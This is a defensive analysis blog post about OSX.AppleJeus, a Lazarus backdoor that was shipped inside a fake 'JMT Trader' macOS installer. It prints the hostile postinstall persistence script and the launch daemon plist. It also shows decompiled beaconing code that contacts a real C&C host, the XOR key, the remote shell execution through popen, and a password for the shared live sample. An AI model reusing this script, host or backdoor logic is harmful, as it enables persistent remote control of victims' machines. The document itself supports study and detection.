Malwarebytes | Airo AV |
I’ve shared the OSX.AppleJeus sample (password: infect3d)
…please don’t infect yourself!
On Friday @malwrhunterteam tweeted about some interesting malware:
So, in short: anyone installed this "JMT Trader" recently (or anytime? - others will probably have the time to dig and find out...), got some APT's malware with it too... pic.twitter.com/tEYJZEYxAq
— MalwareHunterTeam (@malwrhunterteam) October 11, 2019
At the time of said tweet, the sample was undetected by 0 engines on VirusTotal:
In the same twitter thread, @malwrhunterteam also noted this malware may have been seen before (or at least was closely related to previous specimen analyzed by Kaspersky (as OSX.AppleJeus
)):
If that highlighted not says anything to you... then look here in what malware it was seen before: https://t.co/xSfDulILh0
— MalwareHunterTeam (@malwrhunterteam) October 11, 2019
cc @craiu pic.twitter.com/g2CyU87aLr
Read Kaspersky’s excellent write up on a previous (albeit closely related) malware specimen: “Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware”
As we’ll see, though related to the previously analyzed specimen, the sample we’re looking at today, is also rather unique!
In Kaspersky’s original writeup, they detailed an interesting attack whereas the Lazarus APT group targeted various cryptocurrency exchanges “with a fake installer and macOS malware”. One of the more interesting aspects of this operation, is that the APT group actually fabricated an entire fake company (“Celas Trade Pro”) and website in order to increase the realism of the attack.
"The victim had been infected with the help of a trojanized cryptocurrency trading application, which had been recommended to the company over email. It turned out that an unsuspecting employee of the company had willingly downloaded a third-party application from a legitimate looking website"
As part of my recent RSA presentation I highlighted this attack as well:
The sample we’re looking at today, appears to follow an identical approach to infect macOS targets. First, a “new” company was created: “JMT Trading” (hosted at: https://www.jmttrading.org/):
Looks reasonably legitimate, ya? Following the “Download from Github” link, takes us to: https://github.com/jmttrading/JMTTrader/releases, which contains various files for download. Files that contain malware! 👾
I’ve shared the infected macOS disk image containing the AppleJeus malware (password: infect3d).
Here we’ll comprehensively examine the JMTTrader_Mac.dmg
disk image (sha1: 74390fba9445188f2489959cb289e73c6fbe58e4
):
$ shasum -a 1 ~/Downloads/JMTTrader_Mac.dmg 74390fba9445188f2489959cb289e73c6fbe58e4 ~/Downloads/JMTTrader_Mac.dmg
Mounting the disk image reveals a single file: JMTTrader.pkg
$ hdiutil attach JMTTrader_Mac.dmg expected CRC32 $500E981E ... /dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/JMTTrader $ ls /Volumes/JMTTrader/ JMTTrader.pkg
My favorite tools for statically analyzing .pkg
files is an application, aptly named, Suspicious Package
(available for download here).
Via this app, let’s take a peek at the JMTTrader.pkg
:
As can be seen, the package is not signed and contains a postinstall
script (which contains the actual installation instructions). Using the Suspicious Package
app, we can view the contents of this install file:
1#!/bin/sh
2mv /Applications/JMTTrader.app/Contents/Resources/.org.jmttrading.plist
3 /Library/LaunchDaemons/org.jmttrading.plist
4
5chmod 644 /Library/LaunchDaemons/org.jmttrading.plist
6
7mkdir /Library/JMTTrader
8
9mv /Applications/JMTTrader.app/Contents/Resources/.CrashReporter
10 /Library/JMTTrader/CrashReporter
11
12chmod +x /Library/JMTTrader/CrashReporter
13
14/Library/JMTTrader/CrashReporter Maintain &
In short, this install script:
org.jmttrading.plist
)CrashReporter
)Maintain
command line parameter.Note that this requires administrative privileges, but the malware will kindly ask for such privileges during installation:
Both the daemon’s plist and binary are (originally) embedded into an application, JMTTrader.app
found within the .pkg
. Specifically they’re hidden files found in the /Resources
directory; Resources/.org.jmttrading.plist
and Resources/.CrashReporter
:
Using the “Suspicious Package” app we can extract both these file for analysis.
First, let’s look at the launch daemon plist (org.jmttrading.plist
):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>org.jmttrading.jmttrader</string> <key>ProgramArguments</key> <array> <string>/Library/JMTTrader/CrashReporter</string> <string>Maintain</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist>
As expected, it references the daemon /Library/JMTTrader/CrashReporter
(in the ProgramArguments
array). As the RunAtLoad
is set to true
macOS will automatically (re)start the daemon every time the system is rebooted.
Now on to the CrashReporter
binary.
Via the file
command, we can determine its file type (Mach-O 64-bit):
$ file ~/Downloads/.CrashReporter ~/Downloads/.CrashReporter: Mach-O 64-bit executable x86_64
Using my WhatsYourSign utility, we can easily ascertain it’s code-signing status. Though signed, it’s signed ad-hoc:
Running the strings
command, affords us valuable insight into the (likely) functionality of the binary.
$ strings -a ~/Downloads/.CrashReporter Content-Disposition: form-data; name="%s"; jGzAcN6k4VsTRn9 ... mont.jpg ... beastgoc.com https://%s/grepmonux.php POST ... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 X,%`PMk--Jj8s+6=
Always run the strings
command with the -a
flag to instruct it to scan the entire file for printable strings!
From the output of the strings command, we can see some interesting, well, strings!
beastgoc.com
, https://%s/grepmonux.php
likely a download or C&C server?
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
the binary’s user-agent (perhaps useful as an IOC)?
X,%\`PMk--Jj8s+6=
perhaps an encryption or decryption key?
Now, it’s time to dive in and tear apart the CrashReporter
binary! Let’s pop over to a virtual machine and start a detailed analysis.
The binary’s main
function is actual rather simple, and due to named functions, rather informative:
1int _main(int arg0, int arg1, int arg2, int arg3) {
2
3 if ((arg0 != 0x2) || (strcmp(arg1, "Maintain") != 0x0)) goto exit;
4
5 make_token();
6 chdir("/");
7
8 loop:
9 rcx = 0x0;
10 do {
11 do {
12 rbx = rcx;
13 while (conn_to_base() != 0x0) {
14 sleep(0x5);
15 }
16 usleep(0x186a0);
17 rax = listen_message();
18 rcx = 0x0;
19 } while (rax == 0x0);
20 rcx = rbx + 0x1;
21 } while (rbx < 0x3);
22 sleep(0x384);
23 goto loop;
24
25 exit:
26 return 0x0;
27}
From the above decompilation, we can ascertain the following:
The malware expects to be executed with a single commandline argument: Maintain
(Recall that when the malware was persisted, this argument is passed in via the launch daemon plist).
After generating a (random) token, the malware enters a loop.
The loop invokes a function named conn_to_base
.
If the conn_to_base
function succeeds, it invokes a function named listen_message
.
We can start the malware in a debugger (lldb
), making sure to set the required argument:
$ lldb ./CrashReporter (lldb) target create "./CrashReporter" Current executable set to './CrashReporter' (x86_64). (lldb) settings set target.run-args Maintain
First, we’ll set a breakpoint on the conn_to_base
function (address: 0x0000000100001fd7
).
1int conn_to_base() {
2
3 r15 = malloc(0x30000);
4 r14 = malloc(0x30000);
5 __bzero(r15, 0x30000);
6 __bzero(r14, 0x30000);
7
8 r15 = g_token;
9 (r15 + 0x4) = _g_version;
10 (r15 + 0x8) = getpid();
11
12 var_1C = 0x0;
13 rax = send_to_base(rdi, r15, 0xc, r14, &var_1C, 0x0);
14 rbx = rax;
15 if (rax == 0x0) {
16 if ((var_1C == 0x3) && (strcmp(r14, "200") == 0x0)) {
17 rbx = 0x0;
18 }
19 else {
20 rbx = 0x2;
21 }
22 }
23 ...
24
25 rax = rbx;
26 return rax;
27}
After allocating two buffers, the conn_to_base
function initializes one of the buffers with the (randomly) generated token, the binary’s version (_g_version
), and the process’s pid.
The version, is found at 0x0000000100003414
, and is set to 0x1
(likely indicating this is version 1.0 of the binary).
1_g_version:
20x0000000100003414 dd 0x00000001
The conn_to_base
function then invokes a function named send_to_base
(we’ll get to this shortly). If that function returns exactly three bytes, set to the string 200
the conn_to_base
will return a 0, indicating success. (Recall the main
function is sitting in a loop, wait for upon this success will invoke the listen_message()
function).
What does the send_to_base
function do? If you guessed “connect to a C&C server” you’re correct!
Though the function is rather long, it’s logic can be summarized as follows:
Construct the URL of the C&C server: https://beastgoc.com/grepmonux.php
CrashReporter`send_to_base: -> 0x100001895 <+1050>: callq sprintf Target 0: (CrashReporter) stopped. (lldb) x/s $rsi 0x100002c0d: "https://%s/grepmonux.php" (lldb) x/s $rdx 0x100002c00: "beastgoc.com"
185.228.83.32
and at the time of analysis was still up and responsive.
Encrypt any passed in data (such as the generated token, the binary’s version (_g_version
), and the process id).
10x000000010000170e 488D0DEB1C0000 lea rcx, qword [_cbc_iv]
2
3;xor loop
40x0000000100001715 89C2 mov edx, eax
50x0000000100001717 83E20F and edx, 0xf
60x000000010000171a 8A140A mov dl, byte [rdx+rcx]
70x000000010000171d 41301404 xor byte [r12+rax], dl
80x0000000100001721 48FFC0 inc rax
90x0000000100001724 4839C3 cmp rbx, rax
100x0000000100001727 75EC jne loc_100001715
0x0000000100003400
in variable named: _cbc_iv
:
1(lldb) x/s 0x0000000100003400
20x100003400: "X,%`PMk--Jj8s+6=\x02"
Send an HTTP POST
request to https://beastgoc.com/grepmonux.php
containing the following data:
(lldb)x/s 0x100260000 0x100260000: "--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="token"; \r\n\r\n756222899\r\n--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="query"; \r\n\r\nconn\r\n--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="content"; filename="mont.jpg"\r\nContent-Type: application/octet-stream\r\n\r\n\xffffffeb'6MQMk-|Oj8\r\n--jGzAcN6k4VsTRn9--\r\n"
token
, query
, content
and mont.jpg
are hardcoded in the binary:
10x00000001000016cc 48B8636F6E74656E7400 movabs rax, 'content'
2...
30x00000001000016f4 48B96D6F6E742E6A7067 movabs rcx, 'mont.jpg'
\xffffffeb'6MQMk-|Oj8
? That’s the data (token, version, pid), that was xor encrypted!
In a callback block (set via: [r12 dataTaskWithRequest:r13 completionHandler:&callback]
), parse the response from the C&C; server. Specifically the length of the response is checked, and if it’s non-zero, the bytes of the response are extracted:
1if ([r14 length] != 0x0) {
2 rax = [r14 length];
3 *(int32_t *)*(r12 + 0x30) = rax;
4
5 [r14 getBytes:*(r12 + 0x38) length:rax];
6}
The first time the send_to_base
function is invoked (via the conn_to_base
function), it succeeds: the C&C server returns three bytes containing the string 200
:
(lldb) Target 0: (CrashReporter) stopped. (lldb) x/s 0x100230000 0x100230000: "200"
Recall that when the code returns back up into the main
function, the listen_message
function will now be executed:
1while (conn_to_base() != 0x0) {
2 sleep(0x5);
3}
4usleep(0x186a0);
5rax = listen_message();
The listen_message
function (re)invokes the send_to_base
function and parses an encrypted response from the C&C server. Depending on the response, it performs various actions. In other words, it’s expecting tasking from the remote server!
1int listen_message() {
2
3...
4
5send_to_base(_g_token, 0x0, 0x0, r12, r13, 0x1);
6
7
8//decrypt
9do {
10 (r12 + rax) = *(int8_t *)(r12 + rax) ^ *(int8_t *)((rax & 0xf) + _cbc_iv);
11 rax = rax + 0x1;
12} while (rbx != rax);
13
14
15//handle tasking (commands)
16if (strcmp(r12, "exit") == 0x0) goto exit;
17
18if (strcmp(r12, "kcon") == 0x0) goto kcon;
19
20if (is_str_start_with(r12, "up ") == 0x0) goto up;
21
22...
Unfortunately during analysis, the C&C server did not return any tasking. However, via static analysis, we can fairly easily ascertain the malware’s capabilities.
For example, the malware supports an “exit” command, which will (unsurprisingly) causes the malware to exit:
1if (strcmp(r12, "exit") == 0x0) goto exit;
2
3...
4
5exit:
6 r14 = 0x250;
7 var_434 = 0x0;
8 __bzero(r12, 0x30000);
9 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, &var_434, 0x2);
10 free(r12);
11 free(r14);
12 exit(0x0);
If the malware receives the up
command, it appears to contain logic to open then write to a a file (i.e. upload a file from the C&C server to an infected host):
1if (is_str_start_with(r12, "up ") != 0x0)
2{
3 //open file
4 rax = fopen(&var_430, "wb");
5
6 //(perhaps) get file contents from C&C server?
7 send_to_base(*(int32_t *)_g_token, r14, 0x2, r12, r13, 0x2)
8 ...
9
10 //decrypt
11 do {
12 (r12 + rax) = (r12 + rax) ^ (rax & 0xf) + _cbc_iv);
13 rax = rax + 0x1;
14 } while (rbx != rax);
15
16 //write out to disk
17 fwrite(r12, rbx, 0x1, var_440);
18
19 //close
20 fclose(var_440);
21
22}
Other commands, will cause the malware to invoke a function named: proc_cmd
:
1if ((rbx < 0x7) || (is_str_start_with(r12, "stand ") == 0x0))
2 goto loc_10000241c;
3
4loc_10000241c:
5 rax = proc_cmd(r12, r14, &var_438);
The proc_cmd
function appears to execute a command via the shell (specifically via the popen
API):
1int proc_cmd(int * arg0, int * arg1, unsigned int * arg2) {
2 r13 = arg2;
3 r14 = arg1;
4
5 __bzero(&var_430, 0x400);
6 sprintf(&var_430, "%s 2>&1 &", arg0);
7 rax = popen(&var_430, "r");
$ man popen FILE * popen(const char *command, const char *mode); The popen() function ``opens'' a process by creating a bidirectional pipe, forking, and invoking the shell. The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh, using the -c flag; interpretation, if any, is performed by the shell.
The ability to remotely execute commands, clearly gives a remote attacker full and extensible control over the infected macOS system!
As noted, a closely-related sample was previously analyzed by Kaspersky in their writeup titled: “Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware”
The question arises, is this sample related and how? This is actually a fairly easy question to conclusively: “yes”. Here we highlight several undeniable similarities and identicalities:
The infection mechanism is essentially identical
In both attacks, the APT group created a legitimately looking cryptocurrency company that hosted the malware.
The .pkg
s from both attacks share a similar layout. Specifically an postinstall
script will persistently install the malware as a launch daemon, extracting a hidden plist from the applications’ /Resources
directory.\
Though both samples are signed, neither are signed with a Apple developer ID. This is rather unusual.
Both malware samples are persisted as launch daemons that require a single commandline argument in order to execute. Comparing the two samples, though the logic is inverted (likely due to compiler differences), the following code snippets illustrate this similarity:
1//sample 1
2int main()
3{
4 //check arg 1
5 if ((arg0 == 0x2) && (strcmp(arg1, "CheckUpdate") == 0x0)) //go
6}
1//sample 2
2int main()
3{
4 //check arg 1
5 if ((arg0 != 0x2) || (strcmp(arg1, "Maintain") != 0x0)) //exit
6}
Kaspersky (in their original analysis) of another Lazarus backdoor stated:
“Apparently the command-line argument is the way to prevent the detection of its malicious functionality via sandboxes or even reverse engineering. We have previously seen this technique adopted by Lazarus group in 2016 in attacks against banks. As of 2018, it is still using this in almost every attack we investigated.”
1//previous sample
2var_70 = QString::fromAscii_helper("200", 0x3);
3rax = QString::compare(&var_40, &var_70, 0x1);
4if (rax != 0xffffffff) {
5 ...
6}
1//current sample
2if ((var_1C == 0x3) && (strcmp(r14, "200") == 0x0)) {
3 ...
4}
IMHO, without a doubt, both malware specimen’s where written by the APT group: Lazarus.
However, though both malware samples are written by the same APT group, the samples are not the same.
First, as noted by Kaspersky in their writeup on the previous Lazarus backdoor, that backdoor was “implemented using a cross-platform QT framework.” The sample we looked at today, is solely created for macOS (there is no cross-platform code).
The previous backdoor also “collects basic system information … such as host name, OS type and version, System architecture, OS kernel type and version” Today’s specimen does not appear to contain this functionality.
Finally the commands supported by today’s sample, appear to be be unique to this sample. That is to say, the command strings (“exit”, “up”, “kcon”) do not appear in the specimen previously analyzed by Kaspersky.
Recall also that the malware we analyzed today contained a version 1.0 string:
1_g_version:
20x0000000100003414 dd 0x00000001
…perhaps our sample is a precursor to the more comprehensive sample uncovered and analyzed by Kaspersky? Or perhaps its a completely separate Lazarus backdoor.
As this malware is not particularly sophisticated, it’s actually fairly easy to detect. Unfortunately at the time of analysis, no engines on VirusTotal detected the malware:
That is to say, a company’s comprehensive security product may also include a behavior-based engine (not included on VirusTotal) that perhaps could generically detect this new threat.
Of course, behavior-based tools have no problem detecting the malware’s malicious activity (even with no a priori knowledge of the malware).
First, BlockBlock will alert when the malware attempts to persist as a launch daemon:
If LuLu is installed, it will generate an alert when the malware attempts to connect out to it’s C&C server for tasking:
And finally, Netiquette (which enumerates active network connections), will show the malware connection to its remote C&C server (185.228.83.32
):
In terms of manual detection (IOCs), the following should suffice:
The malware’s launch daemon plist file: /Library/LaunchDaemons/org.jmttrading.plist
The malware’s persistent binary, installed at /Library/JMTTrader/CrashReporter
or running:
$ ps aux | grep JMTTrader/CrashReporter root /Library/JMTTrader/CrashReporter Maintain
It’s not everyday we get a new macOS malware specimen to tear apart, especially one written by a reasonably sophisticated APT group. (Mahalo again to @malwrhunterteam for uncovering this sample and bringing it to my attention!)
Today, we analyzed a (new?) Lazarus backdoor that affords a remote attacker complete command and control over infected macOS systems.
Do you have to worry about getting infected? Probably not, unless you’re an employee working at a crypto-currency exchange.
But either way, our free (largely) open-source security tools can generically provide protection against this and other macOS threats! 🥳 \